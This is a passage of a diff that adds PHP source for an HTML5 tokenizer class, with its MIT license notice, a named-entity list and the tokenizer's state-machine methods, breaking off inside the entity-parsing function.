HTML + } + $tokens = array(); + $this->tokenizeDOM( + $doc->getElementsByTagName('html')->item(0)-> // + getElementsByTagName('body')->item(0) // + , + $tokens, $config + ); + return $tokens; + } +} + +/* + +Copyright 2007 Jeroen van der Meer + +Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS +OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +*/ + +class HTML5 +{ + private $data; + private $char; + private $EOF; + private $state; + private $tree; + private $token; + private $content_model; + private $escape = false; + private $entities = array( + 'AElig;', + 'AElig', + 'AMP;', + 'AMP', + 'Aacute;', + 'Aacute', + 'Acirc;', + 'Acirc', + 'Agrave;', + 'Agrave', + 'Alpha;', + 'Aring;', + 'Aring', + 'Atilde;', + 'Atilde', + 'Auml;', + 'Auml', + 'Beta;', + 'COPY;', + 'COPY', + 'Ccedil;', + 'Ccedil', + 'Chi;', + 'Dagger;', + 'Delta;', + 'ETH;', + 'ETH', + 'Eacute;', + 'Eacute', + 'Ecirc;', + 'Ecirc', + 'Egrave;', + 'Egrave', + 'Epsilon;', + 'Eta;', + 'Euml;', + 'Euml', + 'GT;', + 'GT', + 'Gamma;', + 'Iacute;', + 'Iacute', + 'Icirc;', + 'Icirc', + 'Igrave;', + 'Igrave', + 'Iota;', + 'Iuml;', + 'Iuml', + 'Kappa;', + 'LT;', + 'LT', + 'Lambda;', + 'Mu;', + 'Ntilde;', + 'Ntilde', + 'Nu;', + 'OElig;', + 'Oacute;', + 'Oacute', + 'Ocirc;', + 'Ocirc', + 'Ograve;', + 'Ograve', + 'Omega;', + 'Omicron;', + 'Oslash;', + 'Oslash', + 'Otilde;', + 'Otilde', + 'Ouml;', + 'Ouml', + 'Phi;', + 'Pi;', + 'Prime;', + 'Psi;', + 'QUOT;', + 'QUOT', + 'REG;', + 'REG', + 'Rho;', + 'Scaron;', + 'Sigma;', + 'THORN;', + 'THORN', + 'TRADE;', + 'Tau;', + 'Theta;', + 'Uacute;', + 'Uacute', + 'Ucirc;', + 'Ucirc', + 'Ugrave;', + 'Ugrave', + 'Upsilon;', + 'Uuml;', + 'Uuml', + 'Xi;', + 'Yacute;', + 'Yacute', + 'Yuml;', + 'Zeta;', + 'aacute;', + 'aacute', + 'acirc;', + 'acirc', + 'acute;', + 'acute', + 'aelig;', + 'aelig', + 'agrave;', + 'agrave', + 'alefsym;', + 'alpha;', + 'amp;', + 'amp', + 'and;', + 'ang;', + 'apos;', + 'aring;', + 'aring', + 'asymp;', + 'atilde;', + 'atilde', + 'auml;', + 'auml', + 'bdquo;', + 'beta;', + 'brvbar;', + 'brvbar', + 'bull;', + 'cap;', + 'ccedil;', + 'ccedil', + 'cedil;', + 'cedil', + 'cent;', + 'cent', + 'chi;', + 'circ;', + 'clubs;', + 'cong;', + 'copy;', + 'copy', + 'crarr;', + 'cup;', + 'curren;', + 'curren', + 'dArr;', + 'dagger;', + 'darr;', + 'deg;', + 'deg', + 'delta;', + 'diams;', + 'divide;', + 'divide', + 'eacute;', + 'eacute', + 'ecirc;', + 'ecirc', + 'egrave;', + 'egrave', + 'empty;', + 'emsp;', + 'ensp;', + 'epsilon;', + 'equiv;', + 'eta;', + 'eth;', + 'eth', + 'euml;', + 'euml', + 'euro;', + 'exist;', + 'fnof;', + 'forall;', + 'frac12;', + 'frac12', + 'frac14;', + 'frac14', + 'frac34;', + 'frac34', + 'frasl;', + 'gamma;', + 'ge;', + 'gt;', + 'gt', + 'hArr;', + 'harr;', + 'hearts;', + 'hellip;', + 'iacute;', + 'iacute', + 'icirc;', + 'icirc', + 'iexcl;', + 'iexcl', + 'igrave;', + 'igrave', + 'image;', + 'infin;', + 'int;', + 'iota;', + 'iquest;', + 'iquest', + 'isin;', + 'iuml;', + 'iuml', + 'kappa;', + 'lArr;', + 'lambda;', + 'lang;', + 'laquo;', + 'laquo', + 'larr;', + 'lceil;', + 'ldquo;', + 'le;', + 'lfloor;', + 'lowast;', + 'loz;', + 'lrm;', + 'lsaquo;', + 'lsquo;', + 'lt;', + 'lt', + 'macr;', + 'macr', + 'mdash;', + 'micro;', + 'micro', + 'middot;', + 'middot', + 'minus;', + 'mu;', + 'nabla;', + 'nbsp;', + 'nbsp', + 'ndash;', + 'ne;', + 'ni;', + 'not;', + 'not', + 'notin;', + 'nsub;', + 'ntilde;', + 'ntilde', + 'nu;', + 'oacute;', + 'oacute', + 'ocirc;', + 'ocirc', + 'oelig;', + 'ograve;', + 'ograve', + 'oline;', + 'omega;', + 'omicron;', + 'oplus;', + 'or;', + 'ordf;', + 'ordf', + 'ordm;', + 'ordm', + 'oslash;', + 'oslash', + 'otilde;', + 'otilde', + 'otimes;', + 'ouml;', + 'ouml', + 'para;', + 'para', + 'part;', + 'permil;', + 'perp;', + 'phi;', + 'pi;', + 'piv;', + 'plusmn;', + 'plusmn', + 'pound;', + 'pound', + 'prime;', + 'prod;', + 'prop;', + 'psi;', + 'quot;', + 'quot', + 'rArr;', + 'radic;', + 'rang;', + 'raquo;', + 'raquo', + 'rarr;', + 'rceil;', + 'rdquo;', + 'real;', + 'reg;', + 'reg', + 'rfloor;', + 'rho;', + 'rlm;', + 'rsaquo;', + 'rsquo;', + 'sbquo;', + 'scaron;', + 'sdot;', + 'sect;', + 'sect', + 'shy;', + 'shy', + 'sigma;', + 'sigmaf;', + 'sim;', + 'spades;', + 'sub;', + 'sube;', + 'sum;', + 'sup1;', + 'sup1', + 'sup2;', + 'sup2', + 'sup3;', + 'sup3', + 'sup;', + 'supe;', + 'szlig;', + 'szlig', + 'tau;', + 'there4;', + 'theta;', + 'thetasym;', + 'thinsp;', + 'thorn;', + 'thorn', + 'tilde;', + 'times;', + 'times', + 'trade;', + 'uArr;', + 'uacute;', + 'uacute', + 'uarr;', + 'ucirc;', + 'ucirc', + 'ugrave;', + 'ugrave', + 'uml;', + 'uml', + 'upsih;', + 'upsilon;', + 'uuml;', + 'uuml', + 'weierp;', + 'xi;', + 'yacute;', + 'yacute', + 'yen;', + 'yen', + 'yuml;', + 'yuml', + 'zeta;', + 'zwj;', + 'zwnj;' + ); + + const PCDATA = 0; + const RCDATA = 1; + const CDATA = 2; + const PLAINTEXT = 3; + + const DOCTYPE = 0; + const STARTTAG = 1; + const ENDTAG = 2; + const COMMENT = 3; + const CHARACTR = 4; + const EOF = 5; + + public function __construct($data) + { + $this->data = $data; + $this->char = -1; + $this->EOF = strlen($data); + $this->tree = new HTML5TreeConstructer; + $this->content_model = self::PCDATA; + + $this->state = 'data'; + + while ($this->state !== null) { + $this->{$this->state . 'State'}(); + } + } + + public function save() + { + return $this->tree->save(); + } + + private function char() + { + return ($this->char < $this->EOF) + ? $this->data[$this->char] + : false; + } + + private function character($s, $l = 0) + { + if ($s + $l < $this->EOF) { + if ($l === 0) { + return $this->data[$s]; + } else { + return substr($this->data, $s, $l); + } + } + } + + private function characters($char_class, $start) + { + return preg_replace('#^([' . $char_class . ']+).*#s', '\\1', substr($this->data, $start)); + } + + private function dataState() + { + // Consume the next input character + $this->char++; + $char = $this->char(); + + if ($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { + /* U+0026 AMPERSAND (&) + When the content model flag is set to one of the PCDATA or RCDATA + states: switch to the entity data state. Otherwise: treat it as per + the "anything else" entry below. */ + $this->state = 'entityData'; + + } elseif ($char === '-') { + /* If the content model flag is set to either the RCDATA state or + the CDATA state, and the escape flag is false, and there are at + least three characters before this one in the input stream, and the + last four characters in the input stream, including this one, are + U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, + and U+002D HYPHEN-MINUS (""), + set the escape flag to false. */ + if (($this->content_model === self::RCDATA || + $this->content_model === self::CDATA) && $this->escape === true && + $this->character($this->char, 3) === '-->' + ) { + $this->escape = false; + } + + /* In any case, emit the input character as a character token. + Stay in the data state. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => $char + ) + ); + + } elseif ($this->char === $this->EOF) { + /* EOF + Emit an end-of-file token. */ + $this->EOF(); + + } elseif ($this->content_model === self::PLAINTEXT) { + /* When the content model flag is set to the PLAINTEXT state + THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of + the text and emit it as a character token. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => substr($this->data, $this->char) + ) + ); + + $this->EOF(); + + } else { + /* Anything else + THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that + otherwise would also be treated as a character token and emit it + as a single character token. Stay in the data state. */ + $len = strcspn($this->data, '<&', $this->char); + $char = substr($this->data, $this->char, $len); + $this->char += $len - 1; + + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => $char + ) + ); + + $this->state = 'data'; + } + } + + private function entityDataState() + { + // Attempt to consume an entity. + $entity = $this->entity(); + + // If nothing is returned, emit a U+0026 AMPERSAND character token. + // Otherwise, emit the character token that was returned. + $char = (!$entity) ? '&' : $entity; + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => $char + ) + ); + + // Finally, switch to the data state. + $this->state = 'data'; + } + + private function tagOpenState() + { + switch ($this->content_model) { + case self::RCDATA: + case self::CDATA: + /* If the next input character is a U+002F SOLIDUS (/) character, + consume it and switch to the close tag open state. If the next + input character is not a U+002F SOLIDUS (/) character, emit a + U+003C LESS-THAN SIGN character token and switch to the data + state to process the next input character. */ + if ($this->character($this->char + 1) === '/') { + $this->char++; + $this->state = 'closeTagOpen'; + + } else { + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => '<' + ) + ); + + $this->state = 'data'; + } + break; + + case self::PCDATA: + // If the content model flag is set to the PCDATA state + // Consume the next input character: + $this->char++; + $char = $this->char(); + + if ($char === '!') { + /* U+0021 EXCLAMATION MARK (!) + Switch to the markup declaration open state. */ + $this->state = 'markupDeclarationOpen'; + + } elseif ($char === '/') { + /* U+002F SOLIDUS (/) + Switch to the close tag open state. */ + $this->state = 'closeTagOpen'; + + } elseif (preg_match('/^[A-Za-z]$/', $char)) { + /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z + Create a new start tag token, set its tag name to the lowercase + version of the input character (add 0x0020 to the character's code + point), then switch to the tag name state. (Don't emit the token + yet; further details will be filled in before it is emitted.) */ + $this->token = array( + 'name' => strtolower($char), + 'type' => self::STARTTAG, + 'attr' => array() + ); + + $this->state = 'tagName'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Parse error. Emit a U+003C LESS-THAN SIGN character token and a + U+003E GREATER-THAN SIGN character token. Switch to the data state. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => '<>' + ) + ); + + $this->state = 'data'; + + } elseif ($char === '?') { + /* U+003F QUESTION MARK (?) + Parse error. Switch to the bogus comment state. */ + $this->state = 'bogusComment'; + + } else { + /* Anything else + Parse error. Emit a U+003C LESS-THAN SIGN character token and + reconsume the current input character in the data state. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => '<' + ) + ); + + $this->char--; + $this->state = 'data'; + } + break; + } + } + + private function closeTagOpenState() + { + $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); + $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; + + if (($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && + (!$the_same || ($the_same && (!preg_match( + '/[\t\n\x0b\x0c >\/]/', + $this->character($this->char + 1 + strlen($next_node)) + ) || $this->EOF === $this->char))) + ) { + /* If the content model flag is set to the RCDATA or CDATA states then + examine the next few characters. If they do not match the tag name of + the last start tag token emitted (case insensitively), or if they do but + they are not immediately followed by one of the following characters: + * U+0009 CHARACTER TABULATION + * U+000A LINE FEED (LF) + * U+000B LINE TABULATION + * U+000C FORM FEED (FF) + * U+0020 SPACE + * U+003E GREATER-THAN SIGN (>) + * U+002F SOLIDUS (/) + * EOF + ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character + token, a U+002F SOLIDUS character token, and switch to the data state + to process the next input character. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => 'state = 'data'; + + } else { + /* Otherwise, if the content model flag is set to the PCDATA state, + or if the next few characters do match that tag name, consume the + next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[A-Za-z]$/', $char)) { + /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z + Create a new end tag token, set its tag name to the lowercase version + of the input character (add 0x0020 to the character's code point), then + switch to the tag name state. (Don't emit the token yet; further details + will be filled in before it is emitted.) */ + $this->token = array( + 'name' => strtolower($char), + 'type' => self::ENDTAG + ); + + $this->state = 'tagName'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Parse error. Switch to the data state. */ + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F + SOLIDUS character token. Reconsume the EOF character in the data state. */ + $this->emitToken( + array( + 'type' => self::CHARACTR, + 'data' => 'char--; + $this->state = 'data'; + + } else { + /* Parse error. Switch to the bogus comment state. */ + $this->state = 'bogusComment'; + } + } + } + + private function tagNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } elseif ($char === '/') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } else { + /* Anything else + Append the current input character to the current tag token's tag name. + Stay in the tag name state. */ + $this->token['name'] .= strtolower($char); + $this->state = 'tagName'; + } + } + + private function beforeAttributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($char === '/') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Stay in the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Start a new attribute in the current tag token. Set that attribute's + name to the current input character, and its value to the empty string. + Switch to the attribute name state. */ + $this->token['attr'][] = array( + 'name' => strtolower($char), + 'value' => null + ); + + $this->state = 'attributeName'; + } + } + + private function attributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute name state. */ + $this->state = 'afterAttributeName'; + + } elseif ($char === '=') { + /* U+003D EQUALS SIGN (=) + Switch to the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($char === '/' && $this->character($this->char + 1) !== '>') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's name. + Stay in the attribute name state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['name'] .= strtolower($char); + + $this->state = 'attributeName'; + } + } + + private function afterAttributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the after attribute name state. */ + $this->state = 'afterAttributeName'; + + } elseif ($char === '=') { + /* U+003D EQUALS SIGN (=) + Switch to the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($char === '/' && $this->character($this->char + 1) !== '>') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the + before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Start a new attribute in the current tag token. Set that attribute's + name to the current input character, and its value to the empty string. + Switch to the attribute name state. */ + $this->token['attr'][] = array( + 'name' => strtolower($char), + 'value' => null + ); + + $this->state = 'attributeName'; + } + } + + private function beforeAttributeValueState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif ($char === '"') { + /* U+0022 QUOTATION MARK (") + Switch to the attribute value (double-quoted) state. */ + $this->state = 'attributeValueDoubleQuoted'; + + } elseif ($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the attribute value (unquoted) state and reconsume + this input character. */ + $this->char--; + $this->state = 'attributeValueUnquoted'; + + } elseif ($char === '\'') { + /* U+0027 APOSTROPHE (') + Switch to the attribute value (single-quoted) state. */ + $this->state = 'attributeValueSingleQuoted'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Switch to the attribute value (unquoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueUnquoted'; + } + } + + private function attributeValueDoubleQuotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if ($char === '"') { + /* U+0022 QUOTATION MARK (") + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState('double'); + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the character + in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (double-quoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueDoubleQuoted'; + } + } + + private function attributeValueSingleQuotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if ($char === '\'') { + /* U+0022 QUOTATION MARK (') + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState('single'); + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the character + in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (single-quoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueSingleQuoted'; + } + } + + private function attributeValueUnquotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState(); + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (unquoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueUnquoted'; + } + } + + private function entityInAttributeValueState() + { + // Attempt to consume an entity. + $entity = $this->entity(); + + // If nothing is returned, append a U+0026 AMPERSAND character to the + // current attribute's value. Otherwise, emit the character token that + // was returned. + $char = (!$entity) + ? '&' + : $entity; + + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + } + + private function bogusCommentState() + { + /* Consume every character up to the first U+003E GREATER-THAN SIGN + character (>) or the end of the file (EOF), whichever comes first. Emit + a comment token whose data is the concatenation of all the characters + starting from and including the character that caused the state machine + to switch into the bogus comment state, up to and including the last + consumed character before the U+003E character, if any, or up to the + end of the file otherwise. (If the comment was started by the end of + the file (EOF), the token is empty.) */ + $data = $this->characters('^>', $this->char); + $this->emitToken( + array( + 'data' => $data, + 'type' => self::COMMENT + ) + ); + + $this->char += strlen($data); + + /* Switch to the data state. */ + $this->state = 'data'; + + /* If the end of the file was reached, reconsume the EOF character. */ + if ($this->char === $this->EOF) { + $this->char = $this->EOF - 1; + } + } + + private function markupDeclarationOpenState() + { + /* If the next two characters are both U+002D HYPHEN-MINUS (-) + characters, consume those two characters, create a comment token whose + data is the empty string, and switch to the comment state. */ + if ($this->character($this->char + 1, 2) === '--') { + $this->char += 2; + $this->state = 'comment'; + $this->token = array( + 'data' => null, + 'type' => self::COMMENT + ); + + /* Otherwise if the next seven chacacters are a case-insensitive match + for the word "DOCTYPE", then consume those characters and switch to the + DOCTYPE state. */ + } elseif (strtolower($this->character($this->char + 1, 7)) === 'doctype') { + $this->char += 7; + $this->state = 'doctype'; + + /* Otherwise, is is a parse error. Switch to the bogus comment state. + The next character that is consumed, if any, is the first character + that will be in the comment. */ + } else { + $this->char++; + $this->state = 'bogusComment'; + } + } + + private function commentState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + /* U+002D HYPHEN-MINUS (-) */ + if ($char === '-') { + /* Switch to the comment dash state */ + $this->state = 'commentDash'; + + /* EOF */ + } elseif ($this->char === $this->EOF) { + /* Parse error. Emit the comment token. Reconsume the EOF character + in the data state. */ + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + /* Anything else */ + } else { + /* Append the input character to the comment token's data. Stay in + the comment state. */ + $this->token['data'] .= $char; + } + } + + private function commentDashState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + /* U+002D HYPHEN-MINUS (-) */ + if ($char === '-') { + /* Switch to the comment end state */ + $this->state = 'commentEnd'; + + /* EOF */ + } elseif ($this->char === $this->EOF) { + /* Parse error. Emit the comment token. Reconsume the EOF character + in the data state. */ + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + /* Anything else */ + } else { + /* Append a U+002D HYPHEN-MINUS (-) character and the input + character to the comment token's data. Switch to the comment state. */ + $this->token['data'] .= '-' . $char; + $this->state = 'comment'; + } + } + + private function commentEndState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if ($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($char === '-') { + $this->token['data'] .= '-'; + + } elseif ($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['data'] .= '--' . $char; + $this->state = 'comment'; + } + } + + private function doctypeState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + $this->state = 'beforeDoctypeName'; + + } else { + $this->char--; + $this->state = 'beforeDoctypeName'; + } + } + + private function beforeDoctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + // Stay in the before DOCTYPE name state. + + } elseif (preg_match('/^[a-z]$/', $char)) { + $this->token = array( + 'name' => strtoupper($char), + 'type' => self::DOCTYPE, + 'error' => true + ); + + $this->state = 'doctypeName'; + + } elseif ($char === '>') { + $this->emitToken( + array( + 'name' => null, + 'type' => self::DOCTYPE, + 'error' => true + ) + ); + + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + $this->emitToken( + array( + 'name' => null, + 'type' => self::DOCTYPE, + 'error' => true + ) + ); + + $this->char--; + $this->state = 'data'; + + } else { + $this->token = array( + 'name' => $char, + 'type' => self::DOCTYPE, + 'error' => true + ); + + $this->state = 'doctypeName'; + } + } + + private function doctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + $this->state = 'AfterDoctypeName'; + + } elseif ($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif (preg_match('/^[a-z]$/', $char)) { + $this->token['name'] .= strtoupper($char); + + } elseif ($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['name'] .= $char; + } + + $this->token['error'] = ($this->token['name'] === 'HTML') + ? false + : true; + } + + private function afterDoctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + // Stay in the DOCTYPE name state. + + } elseif ($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['error'] = true; + $this->state = 'bogusDoctype'; + } + } + + private function bogusDoctypeState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if ($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + // Stay in the bogus DOCTYPE state. + } + } + + private function entity() + { + $start = $this->char; + + // This section defines how to consume an entity. This definition is + // used when parsing entities in text and in attributes. + + // The behaviour depends on the identity of the next character (the + // one immediately after the U+0026 AMPERSAND character): + + switch ($this->character($this->char + 1)) { + // U+0023 NUMBER SIGN (#) + case '#': + + // The behaviour further depends on the character after the + // U+0023 NUMBER SIGN: + switch ($this->character($this->char + 1)) { + // U+0078 LATIN SMALL LETTER X + // U+0058 LATIN CAPITAL LETTER X + case 'x': + case 'X': + // Follow the steps below, but using the range of + // characters U+0030 DIGIT ZERO through to U+0039 DIGIT + // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 + // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER + // A, through to U+0046 LATIN CAPITAL LETTER F (in other + // words, 0-9, A-F, a-f). + $char = 1; + $char_class = '0-9A-Fa-f'; + break; + + // Anything else + default: + // Follow the steps below, but using the range of + // characters U+0030 DIGIT ZERO through to U+0039 DIGIT + // NINE (i.e. just 0-9). + $char = 0; + $char_class = '0-9'; + break; + } + + // Consume as many characters as match the range of characters + // given above. + $this->char++; + $e_name = $this->characters($char_class, $this->char + $char + 1); + $entity = $this->character($start, $this->char); + $cond = strlen($e_name) > 0; + + // The rest of the parsing happens below. + break; + + // Anything else + default: + // Consume the maximum number of characters possible, with the + // consumed characters case-sensitively matching one of the + // identifiers in the first column of the entities table. + + $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); + $len = strlen($e_name); + + for ($c = 1; $c <= $len; $c++) { + $id = substr($e_name, 0, $c); + $this->char++; + + if (in_array($id, $this->entities)) { + if ($e_name[$c - 1] !== ';') { + if ($c < $len && $e_name[$c] == ';') { + $this->char++; // consume extra semicolon + } + } + $entity = $id; + break; + } + } + + $cond = isset($entity); + // The rest of the parsing happens below. + break; + } + + if (!$cond) { + // If no match can be made, then this is a parse error. No + // characters are consumed, and nothing is returned. + $this->char = $start; + return false; + } + + // Return a character token for the character 